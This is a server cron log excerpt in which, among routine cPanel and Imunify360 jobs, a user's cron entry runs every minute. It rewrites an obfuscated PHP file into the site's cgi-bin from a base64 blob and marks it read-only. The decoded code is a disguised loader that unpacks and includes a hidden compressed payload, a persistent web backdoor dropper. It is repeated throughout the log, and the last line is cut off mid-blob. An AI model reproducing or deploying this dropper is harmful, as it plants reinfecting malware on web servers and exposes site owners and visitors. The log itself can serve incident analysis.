Sep  6 13:00:01 server CROND[1972]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 13:00:01 server CROND[1978]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  6 13:01:01 server CROND[2888]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:01:01 server CROND[2887]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:01:01 server CROND[2889]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:01:01 server CROND[2886]: (root) CMD (run-parts /etc/cron.hourly)
Sep  6 13:01:01 server run-parts(/etc/cron.hourly)[2886]: starting 0anacron
Sep  6 13:01:01 server run-parts(/etc/cron.hourly)[2908]: finished 0anacron
Sep  6 13:02:01 server CROND[3291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:02:01 server CROND[3292]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:02:01 server CROND[3293]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:03:01 server CROND[3731]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:03:01 server CROND[3733]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:03:01 server CROND[3732]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:04:01 server CROND[4225]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:04:01 server CROND[4226]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:04:01 server CROND[4227]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:05:01 server CROND[4623]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 13:05:01 server CROND[4624]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 13:05:01 server CROND[4627]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:05:01 server CROND[4629]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 13:05:01 server CROND[4632]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 13:05:01 server CROND[4628]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:05:01 server CROND[4631]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:05:01 server CROND[4630]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 13:06:01 server CROND[5483]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:06:01 server CROND[5482]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:06:01 server CROND[5484]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:07:01 server CROND[5876]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:07:01 server CROND[5878]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:07:01 server CROND[5877]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:08:01 server CROND[6257]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:08:01 server CROND[6258]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:08:01 server CROND[6260]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:09:01 server CROND[6646]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 13:09:01 server CROND[6647]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:09:01 server CROND[6649]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:09:01 server CROND[6648]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:10:01 server CROND[7179]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 13:10:01 server CROND[7181]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 13:10:01 server CROND[7187]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:10:01 server CROND[7185]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 13:10:01 server CROND[7186]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:10:01 server CROND[7188]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:10:01 server CROND[7184]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 13:10:01 server CROND[7190]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 13:11:01 server CROND[8160]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:11:01 server CROND[8161]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:11:01 server CROND[8164]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:12:01 server CROND[8545]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:12:01 server CROND[8546]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 13:12:01 server CROND[8548]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:12:01 server CROND[8547]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QB